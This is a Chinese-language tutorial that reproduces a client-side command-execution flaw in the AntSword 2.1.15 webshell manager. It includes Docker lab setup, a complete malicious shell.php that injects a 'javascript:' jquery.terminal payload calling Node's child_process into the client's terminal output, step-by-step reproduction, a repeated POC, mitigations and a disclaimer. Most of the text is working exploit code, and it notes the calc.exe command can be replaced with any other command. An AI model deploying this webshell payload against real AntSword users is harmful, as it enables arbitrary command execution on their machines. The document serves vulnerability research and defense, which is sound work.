乐于分享
好东西不私藏

AntSword 2.1.15 客户端命令执行漏洞复现分析与环境搭建教程

AntSword 2.1.15 客户端命令执行漏洞复现分析与环境搭建教程

漏洞概要

  • CVE/漏洞名称

    • 漏洞名称:AntSword 中国蚁剑 2.1.15 客户端命令执行漏洞复现

    • CVE:公开资料中通常未分配明确 CVE 编号,本文按 AntSword 2.1.15 客户端 RCE 复现进行描述

  • 类型及利用危害等级

    • 类型:客户端侧命令执行 / Electron 客户端 RCE

    • 触发位置:AntSword 客户端在处理 WebShell 返回内容时,渲染了可触发 JavaScript 的特殊内容,进而调用 Electron/Node.js 能力执行本地主机命令

    • 利用结果:攻击者控制的服务端 WebShell 返回恶意内容后,可在运行 AntSword 2.1.15 的主机上执行命令,例如 Windows 主机弹出 calc.exe

  • 受影响版本

    • AntSword 2.1.15

    • 复现客户端:主机安装 AntSword 2.1.15

    • 靶场环境:Kali Linux,通过 Docker 启动 PHP Web 服务并放置恶意 shell.php


漏洞根因与触发条件

AntSword 2.1.15 基于 Electron,客户端在展示 WebShell 命令执行结果时,对服务端返回的特殊链接/终端渲染内容过滤不足,导致返回内容中的 javascript: 逻辑可在客户端上下文中被触发。触发条件是:AntSword 成功连接攻击者控制的 WebShell,并在命令执行或终端输出区域接收到特制 Payload,随后在客户端侧触发该内容,从而执行主机命令。


复现环境

# ==============================
# 复现拓扑
# ==============================
# Kali Linux:作为靶场服务器,运行 Docker PHP-Apache 容器
# 主机 Windows:安装并运行 AntSword 2.1.15
#
# Kali Docker 服务地址:
# http://KALI_IP:8080/shell.php
#
# AntSword 连接密码:
# test
#
# 预期效果:
# 主机 AntSword 2.1.15 连接该 WebShell 后,触发返回内容,使 Windows 主机执行 calc.exe
# ==============================
# Kali 安装 Docker 与 Compose 插件
# ==============================

sudo apt update

sudo apt install -y docker.io docker-compose-plugin curl

sudo systemctl enable docker --now

sudo docker version

sudo docker compose version
# ==============================
# 创建 AntSword 2.1.15 RCE 复现靶场目录
# ==============================

mkdir-p ~/antsword-2.1.15-rce/www

cd ~/antsword-2.1.15-rce
# ==============================
# 编写 docker-compose.yml
# ==============================

cat > docker-compose.yml <<'EOF'
services:
  php-apache:
    image: php:7.4-apache
    container_name: antsword-215-rce-lab
    ports:
-"0.0.0.0:8080:80"
    volumes:
- ./www:/var/www/html
restart: unless-stopped
EOF
# ==============================
# 编写用于复现的 shell.php
# ==============================
# 说明:
# 1. AntSword 连接密码为 test
# 2. 正常浏览器 GET 访问会显示提示信息
# 3. AntSword 执行命令时,服务端会向返回结果中插入特制 Payload
# 4. Windows 主机触发后执行 calc.exe
# 5. 如果主机不是 Windows,可将 calc.exe 改为对应系统命令

cat > www/shell.php <<'EOF'
<?php
/**
 * AntSword 2.1.15 客户端 RCE 复现用 WebShell
 *
 * 使用方式:
 * AntSword URL: http://KALI_IP:8080/shell.php
 * AntSword 密码:test
 * 类型:PHP
 */

$pass='test';

/**
 * 写入访问日志,方便确认 AntSword 是否真正访问到该文件
 */
file_put_contents(
'/tmp/antsword_215_rce.log',
    date('c') .
' METHOD=' . ($_SERVER['REQUEST_METHOD'] ?? '') .
' POST_KEYS=' . json_encode(array_keys($_POST)) .
' UA=' . ($_SERVER['HTTP_USER_AGENT'] ?? '') .
    PHP_EOL,
    FILE_APPEND
);

/**
 * 直接浏览器访问时给出提示,避免误认为 Docker 或 Apache 不通
 */
if (!isset($_POST[$pass])) {
    header('Content-Type: text/plain; charset=utf-8');
echo"AntSword 2.1.15 RCE lab is running.\n";
echo"Use AntSword with password: test\n";
echo"POST parameter name: test\n";
exit;
}

$code=$_POST[$pass];

/**
 * 兼容部分旧版 PHP WebShell 代码中对 get_magic_quotes_gpc() 的调用
 */
if (!function_exists('get_magic_quotes_gpc')) {
function get_magic_quotes_gpc() {
        return 0;
    }
}

/**
 * 核心 Payload:
 * 该内容会被 AntSword 2.1.15 客户端渲染。
 *
 * Windows 主机默认弹出计算器:
 * require(`child_process`).exec(`calc.exe`)
 *
 * 如果主机是 Linux,可改成:
 * require(`child_process`).exec(`gnome-calculator`)
 *
 * 如果主机是 macOS,可改成:
 * require(`child_process`).exec(`open -a Calculator`)
 */
$payload='[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]';

/**
 * 为了避免引号、换行影响 AntSword 返回格式,这里将 Payload base64 后再输出
 */
$b64payload= base64_encode("\n" . $payload . "\n");

/**
 * AntSword 执行命令时通常会在服务端代码中调用 asoutput() 输出结果。
 * 这里在 asoutput() 前插入恶意返回内容。
 */
$inject='echo base64_decode("' . $b64payload . '");';

/**
 * 仅在 AntSword 执行系统命令相关功能时插入 Payload。
 * 这样 AntSword 的基础连接测试更稳定。
 */
if (preg_match('/\b(system|exec|passthru|popen|shell_exec|proc_open)\b/i'$code)) {
$code= str_ireplace('asoutput();'$inject . 'asoutput();'$code);
}

/**
 * 执行 AntSword 发送过来的 PHP 代码
 */
@eval($code);
EOF
# ==============================
# 启动 Docker 靶场
# ==============================

cd ~/antsword-2.1.15-rce

sudo docker compose up -d

sudo docker ps--format"table {{.Names}}\t{{.Status}}\t{{.Ports}}"
# ==============================
# Kali 本机验证 Web 服务是否正常
# ==============================

curl-i http://127.0.0.1:8080/shell.php
# ==============================
# 获取 Kali IP
# ==============================

ip -4 addr show | grep-oP'(?<=inet\s)\d+(\.\d+){3}' | grep-v'^127\.'
# ==============================
# 假设 Kali IP 为 192.168.56.101
# 主机 Windows 浏览器访问以下地址,应看到提示文本
# ==============================

# http://192.168.56.101:8080/shell.php

复现步骤

# 1. 在 Kali 上进入靶场目录

cd ~/antsword-2.1.15-rce
# 2. 启动 PHP-Apache Docker 容器

sudo docker compose up -d
# 3. 查看容器端口映射,确认 8080 已映射到容器 80 端口

sudo docker ps--format"table {{.Names}}\t{{.Status}}\t{{.Ports}}"
# 4. Kali 本机访问 shell.php,确认服务正常

curl-i http://127.0.0.1:8080/shell.php
# 5. 获取 Kali 靶机 IP 地址

ip -4 addr show | grep-oP'(?<=inet\s)\d+(\.\d+){3}' | grep-v'^127\.'
# 6. 在 Windows 主机 PowerShell 中测试是否可以访问 Kali Docker 服务
# 将 192.168.56.101 替换为你的 Kali IP

curl.exe-ihttp://192.168.56.101:8080/shell.php
# 7. 在 Windows 主机 PowerShell 中测试 POST 请求是否能到达 shell.php
# 正常情况下这里不一定返回完整 phpinfo,因为 AntSword 请求格式与手工 curl 不完全相同;
# 该步骤主要用于确认主机到 Kali:8080 网络连通。

curl.exe-i-XPOSThttp://192.168.56.101:8080/shell.php-d"test=phpinfo();"
# 8. 在 Kali 上实时查看 WebShell 访问日志

sudo docker exec -it antsword-215-rce-lab bash-c"tail -f /tmp/antsword_215_rce.log"
# 9. 在 Windows 主机打开 AntSword 2.1.15
#
# 添加数据:
# URL 地址:http://192.168.56.101:8080/shell.php
# 连接密码:test
# 编码器:default
# 解码器:default
# 类型:PHP
#
# 然后点击“测试连接”
# 10. AntSword 显示连接成功后,保存该 Shell
# 11. 在 AntSword 中打开刚刚添加的 Shell
#
# 进入方式:
# 右键该 Shell -> 虚拟终端
# 或者打开 Shell 后进入命令执行/终端功能区域
# 12. 在 AntSword 虚拟终端中执行一条普通命令
#
# Windows 目标显示命令示例:
# whoami
#
# Linux 容器内命令示例:
# id
# 13. 命令执行结果返回后,AntSword 2.1.15 输出区域会出现由服务端返回的特殊链接内容
#
# 触发该内容后,Windows 主机应执行:
# calc.exe
#
# 如果弹出 Windows 计算器,说明 AntSword 2.1.15 客户端命令执行漏洞复现成功。
# 14. 如果需要重新查看 AntSword 请求是否到达 Kali 容器,可查看日志

sudo docker exec -it antsword-215-rce-lab bash-c"cat /tmp/antsword_215_rce.log"
# 15. 复现完成后关闭靶场

cd ~/antsword-2.1.15-rce

sudo docker compose down

POC/利用代码

[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]
<?php
/**
* AntSword 2.1.15 客户端 RCE 复现 POC
*
* 部署位置:
* /var/www/html/shell.php
*
* AntSword 配置:
* URL:http://KALI_IP:8080/shell.php
* 密码:test
* 类型:PHP
*
* 默认 Payload:
* Windows 主机执行 calc.exe
*/

$pass='test';

file_put_contents(
'/tmp/antsword_215_rce.log',
date('c') .
' METHOD=' . ($_SERVER['REQUEST_METHOD'??'') .
' POST_KEYS=' . json_encode(array_keys($_POST)) .
' UA=' . ($_SERVER['HTTP_USER_AGENT'??'') .
PHP_EOL,
FILE_APPEND
);

if (!isset($_POST[$pass])) {
header('Content-Type: text/plain; charset=utf-8');
echo"AntSword 2.1.15 RCE lab is running.\n";
echo"Use AntSword with password: test\n";
exit;
}

$code=$_POST[$pass];

if (!function_exists('get_magic_quotes_gpc')) {
functionget_magic_quotes_gpc() {
return0;
    }
}

/**
* 关键 Payload:
* 修改 calc.exe 可更换为其他本机命令。
*/
$payload='[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]';

$b64payload=base64_encode("\n" . $payload . "\n");

$inject='echo base64_decode("' . $b64payload . '");';

/**
* AntSword 执行系统命令时插入 Payload。
*/
if (preg_match('/\b(system|exec|passthru|popen|shell_exec|proc_open)\b/i'$code)) {
$code=str_ireplace('asoutput();'$inject . 'asoutput();'$code);
}

@eval($code);
services:
  php-apache:
    imagephp:7.4-apache
    container_nameantsword-215-rce-lab
    ports:
      - "0.0.0.0:8080:80"
    volumes:
      - ./www:/var/www/html
    restartunless-stopped

修复与临时缓解

1. 不要使用 AntSword 2.1.15 版本,升级到已修复该问题的新版本。
2. 不要连接来源不明、他人提供或不可信的 WebShell。
3. 在隔离环境中运行 AntSword,例如虚拟机、沙箱或无敏感文件的专用测试主机。
4. Windows 主机上运行 AntSword 时,不要使用管理员权限启动。
5. 在主机安全软件或 EDR 中限制 AntSword/Electron 进程启动系统命令解释器,例如限制其调用 cmd.exe、powershell.exe、wscript.exe、mshta.exe。
6. 如果必须临时使用 AntSword 2.1.15,禁止连接任何不完全可信的 WebShell,并在断网、快照环境中完成测试。
7. 复现结束后删除 Kali 靶场容器和 WebShell 文件。
cd ~/antsword-2.1.15-rce

sudo docker compose down

cd ~

rm-rf ~/antsword-2.1.15-rce

参考来源


[1] GitHub Issue:[Security] noxss() 过滤不完整导致 jquery.terminal 格式码注入,可被服务端利用实现客户端代码执行

[2] 澄影安全:蚁剑 v2.1.15 曝致命漏洞!存在远程代码执行漏洞,点击即中招!

[3] CSDN:中国蚁剑 AntSword 反制 RCE 漏洞复现 Windows 环境上反弹 shell

[4] AntSwordProject/antSword GitHub 项目说明

[5] GitHub Advisory Database:CVE-2019-13970,AntSword RCE and XSS via code injection

免责声明

本文内容仅用于网络安全学习、漏洞复现研究和授权测试环境验证。请勿将文中技术、代码或方法用于任何未授权的系统、网络或设备。因使用本文内容造成的任何直接或间接后果,均由使用者自行承担。作者不对任何滥用行为及其后果承担责任。